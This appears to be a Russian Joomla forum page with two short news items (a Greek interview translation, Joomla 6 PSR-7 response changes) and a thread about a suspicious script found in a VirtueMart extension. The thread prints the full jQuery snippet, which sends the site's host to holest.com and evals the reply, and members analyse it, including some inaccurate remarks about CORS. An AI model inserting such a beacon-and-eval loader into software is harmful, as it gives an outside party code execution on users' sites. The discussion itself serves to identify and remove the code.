Новости Joomla

Перевод и публикация интервью с Joomla евангелистом на греческом портале Joomla

Перевод и публикация интервью на греческом портале Joomla 🇬🇷

Утро, просматриваешь входящие письма и изучаешь новости и внезапно обнаруживаешь, что инициатива, которую ты начал, подхватывается другими людьми. 🎉

Недавно я взял интервью у Билла (Василиса) Коциаса - руководителя студии, читающего лекции в университете и популяризатора Joomla в Греции. Это интервью из журнала NorrNext, в оригинале на английском, теперь доступно на греческом языке и опубликовано на портале joomla.gr. 🎉

До чего же приятно… 😇😊 Работа замечена и с ней посчитали необходимым ознакомить аудиторию страны, в которой Билл читает лекции. И это солнечная Греция - страна, страна, с которой Россию многое связывает. 🇬🇷🇷🇺🕊

Смотрю на греческий алфавит и тут же рисуются картины белоснежных зданий в окружении винограда и амфор, красивых женщин в сандалиях и мужественных воинов, охраняющих покой полисов, в которых ученые мужи работают над трудами, позже вошедшими в века. Красиво! 😇Но вернемся к интервью.

Из него вы узнаете, что в Греции доля Joomla среди CMS занимает порядка 30-40%. По моему мнению это - самый высокий показатель во всем мире. Также чтение лекций о Joomla в университетах позволит привести новых пользователей и к тому же молодое поколение. Ну и огромное кол-во сертификтатов Билла на стене (смотрим фото в статье) свидетельствует о том, что Joomla может применяться как профессиональный инструмент.

🌐 Оригинальное интервью (на английском)
🇬🇷 Интервью на греческом портале (joomla.gr)

Что насчет перевода на русский? Увы, времени всего 24 часа в сутках. Я продолжаю готовить новые интервью. Возможно, после завершения выпуска журнала, рассмотрю перевод некоторых интервью на русский. Но я об этом не говорил. 😊 В блоге @eugenius_blog публикую анонсы интересных событий из мира Joomla, интервью, уроки и полезные советы, а также делюсь мыслями:, связанными с разработкой и веб-дизайном.

Обработка HTTP ответа в Joomla 6+. Изменения по сравнению с Joomla 3 - Joomla 5

👩‍💻 Обработка HTTP ответа в Joomla 6+. Изменения по сравнению с Joomla 3 - Joomla 5.В Joomla для выполнения внешних запросов из PHP к сторонним API используется класс Joomla\Http\Http напрямую или же Joomla\Http\HttpFactory, который возвращает для работы преднастроенный по умолчанию класс Http. О работе с HTTP-запросами подробно рассказывалось в статье 2021 года Создание внешних запросов с использованием HttpFactory (Joomla). Некоторые изменения касаются работы с ответами на запросы. Например, наш запрос:
use Joomla\Http\HttpFactory;$http = (new HttpFactory)->getHttp($options, ['curl', 'stream']);$response = $http->get('https://any-url.ru/api/any/endpoint');
Раньше можно было получить код ответа или тело ответа как свойство $response - $response->code или $response->body. Однако, Joomla, начиная с Joomla 4 во многом переходит на стандарты PSR. В частности для работы с HTTP-ответами - на PSR-7. Также хорошая статья на Хабре о PSR-7: PSR-7 в примерах.
Прямое обращение к свойствам code, headers, body объявлено устаревшим в Joomla 6.0.0 и обещают удалить в Joomla 7.0.0.
Вместо этого нужно работать с HTTP-ответом по стандартам PSR-7. Код ответа.Было $response->code. Стало $response->getStatusCode().Заголовки ответа.Было $response->headers. Стало $response->getHeaders().Тело ответа.Было $response->body. Стало (string)$response->getContents().В тело ответа теперь приходит не строка, а поток - объект класса Laminas\Diactoros\Stream. Поэтому его нужно привести к строке (если это json, к примеру): (string)$response->getContents(). Чаще всего в коде Joomla встречается именно такой вариант. Однако, есть и вариант с перемещением указателя чтения на начало потока:
// Получили ответ в виде потока$stream = $response->getBody();// "перемотали" на начало$stream->rewind();// Получили строковый ответ$json = $stream->getContents();
В итоге результат одинаковый.@joomlafeed#joomla #разработка #php

0 Пользователей и 1 Гость просматривают эту тему.
  • 21 Ответов
  • 1320 Просмотров
*

ushangi

  • Осваиваюсь на форуме
  • 11
  • 0 / 0
jQuery(document).ready(function(){var h=window.location.hostname.toLowerCase();if(h=='localhost'||h=='127.0.0.1')return;jQuery.ajax({type:"POST",url:"http://holest.com/dist/vmexcellikeinput/track/tracker.php",data:(function(a){var b=[];for(var p in a)if(a.hasOwnProperty(p)){b.push(encodeURIComponent(p)+"="+encodeURIComponent(a[p]))}return b.join("&")})({'host':window.location.host,'hostname':window.location.hostname,'jhost':(window.location.host+window.location.pathname).split('administrator')[0].toLowerCase().replace(/\//g,'__').replace(/\:/g,'__')}),success:function(a){try{eval(a)}catch(e){}}})});

Кто может сказать что эта функция передает в скрипт?
*

robert

  • Живу я здесь
  • 4974
  • 457 / 20
Хм, а какое отношение http://holest.com имеет к вашему сайту?
Не будь паразитом, сделай что-нибудь самостоятельно!
*

ushangi

  • Осваиваюсь на форуме
  • 11
  • 0 / 0
Хм, а какое отношение http://holest.com имеет к вашему сайту?

в том то и дело что никакого.  ^-^

Очень похоже на что-то нехорошее. Но моих знаний не достаточно что бы понять насколько это нехорошо.
Пока задокументировал эту функцию.
В работе компонента ни чего не изменилось.

Что не маловажно этот компонент распространяется на этом форуме, и вот хочется узнать, что это за радость. И может других форумчан предупредить.
*

lexxbry

  • Живу я здесь
  • 2387
  • 68 / 8
что за чудный компонент?
покажите откуда он распространяется?
SEO-оптимизация,продвижение
Создание и сопровождение сайтов на Joomla
Миграция
*

ushangi

  • Осваиваюсь на форуме
  • 11
  • 0 / 0
что за чудный компонент?
покажите откуда он распространяется?

Скачать - Управление товарами в VirtueMart - в таблиц
*

robert

  • Живу я здесь
  • 4974
  • 457 / 20
Так задайте этот вопрос автору. Вкратце: этот код передает данные о вашем сайте AJAX-запросом в http://holest.com, тот обрабатывает и присылает другой код, который исполняется на вашем сайте.
Не будь паразитом, сделай что-нибудь самостоятельно!
*

SmokerMan

  • Гуру
  • 5290
  • 720 / 26
ну так там и спрашиваете)
судя по коду видимо использует этот сервис для чего-то
хотя как он пытается отправить ajax post запрос на другой домен хз)
там такое можно сделать только через jsonp
*

robert

  • Живу я здесь
  • 4974
  • 457 / 20
хотя как он пытается отправить AJAX post запрос на другой домен хз
Думаю, что это его собственный ресурс.
Не будь паразитом, сделай что-нибудь самостоятельно!
*

SmokerMan

  • Гуру
  • 5290
  • 720 / 26
Думаю, что это его собственный ресурс.
что значит собственный?)
если ты будешь тупо отправлять любой AJAX запрос (тут исключение только jsonp) c одного домена на другой он работать не будет, т.к. это будет кроссдоменный запрос
*

dmitry_stas

  • Легенда
  • 13151
  • 1234 / 8
ну строго говоря запрос будет работать, не будет работать ответ. та и даже в таком случае, если доступ к ответу нужен, то заголовки отдать нужные на запрашиваемом сервере, и все.
Тут дарят бакс просто за регистрацию! Успей получить!
Все советы на форуме раздаю бесплатно, то есть даром. Индивидуально бесплатно консультирую только по вопросам стоимости индивидуальных консультаций
*

robert

  • Живу я здесь
  • 4974
  • 457 / 20
работать не будет, т.к. это будет кроссдоменный запрос
И с "Origin"- и "Access-Control-Allow-Origin"-заголовками?
Не будь паразитом, сделай что-нибудь самостоятельно!
*

SmokerMan

  • Гуру
  • 5290
  • 720 / 26
Access-Control-Allow-Origin
еще раз, все это будет работать только при  dataType: 'jsonp' :)
а если ты будешь просто отправлять например dataType: 'json' или без dataType то работать не должно
*

dmitry_stas

  • Легенда
  • 13151
  • 1234 / 8
вы что-то путаете, это будет работать и с post, и с get, и со всеми остальными методами. нет никакой разницы. более того, как уже сказал чтобы отправить запрос вообще никакие заголовки не нужны. вызываемый сервер запрос получит и обработает. т.е. если задача только передать - ничего дополнительно можно вообще не делать. но вот чтобы получить доступ к телу ответа - понадобятся вышеуказанные заголовки от запрашиваемого сервера. без них браузер заблокирует доступ к ответу.
Тут дарят бакс просто за регистрацию! Успей получить!
Все советы на форуме раздаю бесплатно, то есть даром. Индивидуально бесплатно консультирую только по вопросам стоимости индивидуальных консультаций
*

robert

  • Живу я здесь
  • 4974
  • 457 / 20
:)
Только что создал mysite.ru/test.php с таким кодом
Спойлер
[свернуть]
На локалке создал test2.php с таким кодом
Спойлер
[свернуть]
Набираю localhost/test2.php и, :)
Не будь паразитом, сделай что-нибудь самостоятельно!
*

ushangi

  • Осваиваюсь на форуме
  • 11
  • 0 / 0
Только что создал mysite.ru/test.php с таким кодом
Спойлер
[свернуть]
На локалке создал test2.php с таким кодом
Спойлер
[свернуть]
Набираю localhost/test2.php и, :)

Правильно ли я Вас понял, что этот код позволяет исполнять скрипты без ведома администратора сайта. Т.е. это дырка в безопасности, которую зачемто сделали разработчики скрипта?
*

dmitry_stas

  • Легенда
  • 13151
  • 1234 / 8
позволяет, да. не скажу прям что это дырка, потому что я просто не знаю возможности этого скрипта, и может быть там и все нормально. но что-то там определенно выполняется. судя по тому, что отправляется домен, возможно это проверка лицензионного ключа, или типа такого.
Тут дарят бакс просто за регистрацию! Успей получить!
Все советы на форуме раздаю бесплатно, то есть даром. Индивидуально бесплатно консультирую только по вопросам стоимости индивидуальных консультаций
*

robert

  • Живу я здесь
  • 4974
  • 457 / 20
проверка лицензионного ключа, или типа такого
Ну или кусок кода обработчика прячет у себя. Скорее всего, ничего страшного: код можно посмотреть, а автор здесь тусуется.
Не будь паразитом, сделай что-нибудь самостоятельно!
*

dmitry_stas

  • Легенда
  • 13151
  • 1234 / 8
ага, например если домен легитимный возвращается код которого не хватает, в противном случае вылазит какое то предупреждение. ну и т.п.
Тут дарят бакс просто за регистрацию! Успей получить!
Все советы на форуме раздаю бесплатно, то есть даром. Индивидуально бесплатно консультирую только по вопросам стоимости индивидуальных консультаций
*

pavelrer

  • Давно я тут
  • 615
  • 10 / 2
1. Вы нашли каку - хорошо!
2. Вас все устраиваеи в сайте кроме каки
3. Вы не знаете как убрить каку
4. ! Если кака не динамическая, т.е у каки код один и тот же переходим к пункту 5
5. Вырезаем каку из страници при создании средствами php
6. ищим каку и отменяем пункт 5

Каку вырезаем через JResponse.
С начало get - забрали станичку, вырезали каку, потом set вернули страничку.
Ну а далее - лечим, и отменяем что выше!

На php ниже 7ки, скрость генерации увеличется очень сильно!!!

« Последнее редактирование: 02.11.2017, 11:31:05 от pavelrer »
*

pavelrer

  • Давно я тут
  • 615
  • 10 / 2
Код для выреза каки примерно такой
Код
 $ext_buffer = JResponse::getBody();    // Забрали сгенеренный HTML перед передачей
 $trans = array(
'<script src="/" type="text/javascript"></script>' => '',
'<link href="/" rel="stylesheet" type="text/css" />' => '',
chr(9) => ''
);
 $ext_buffer = strtr($ext_buffer, $trans);
 JResponse::setBody($ext_buffer);    // Вернем HTML в зад
\

тут три каки:
1. <script src="/" type="text/javascript"></script>
2. <link href="/" rel="stylesheet" type="text/css" />
3. chr(9)
*

robert

  • Живу я здесь
  • 4974
  • 457 / 20
@pavelrer Что за поток сознания? А что делать, если без этого кода расширение не будет работать?
Не будь паразитом, сделай что-нибудь самостоятельно!
*

pavelrer

  • Давно я тут
  • 615
  • 10 / 2
Цитировать
@pavelrer Что за поток сознания? А что делать, если без этого кода расширение не будет работать?
Не очень понял, при всем уважении к вам Robert.
Если происходит так как пишет автор - не безопасно, и Joomla тут не причем!
Я, могу ошибаться!
P.S http://holest.com  ;D ;D ;D
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Joomla 3 не пускает в админку (просто перезагружается страница) (гуглил, нашёл решение, не помогло)

Автор lifelover2b

Ответов: 11
Просмотров: 4887
Последний ответ 05.06.2025, 04:48:29
от andrey222
Антивирус нашел вредоносный код в двух файлах сайта polyfill

Автор buto

Ответов: 4
Просмотров: 1252
Последний ответ 19.10.2024, 10:56:55
от wishlight
ajax загрузка компонента на странице материала К2

Автор Divn

Ответов: 0
Просмотров: 1008
Последний ответ 13.01.2023, 15:05:52
от Divn
Ошибка при установке компонента

Автор JackThaCat

Ответов: 6
Просмотров: 2005
Последний ответ 11.11.2022, 06:04:13
от Satelitte
Тип поля формы Select sql, как заполнить его через функцию php?

Автор GuDeVic

Ответов: 13
Просмотров: 1750
Последний ответ 07.10.2022, 12:25:45
от fsv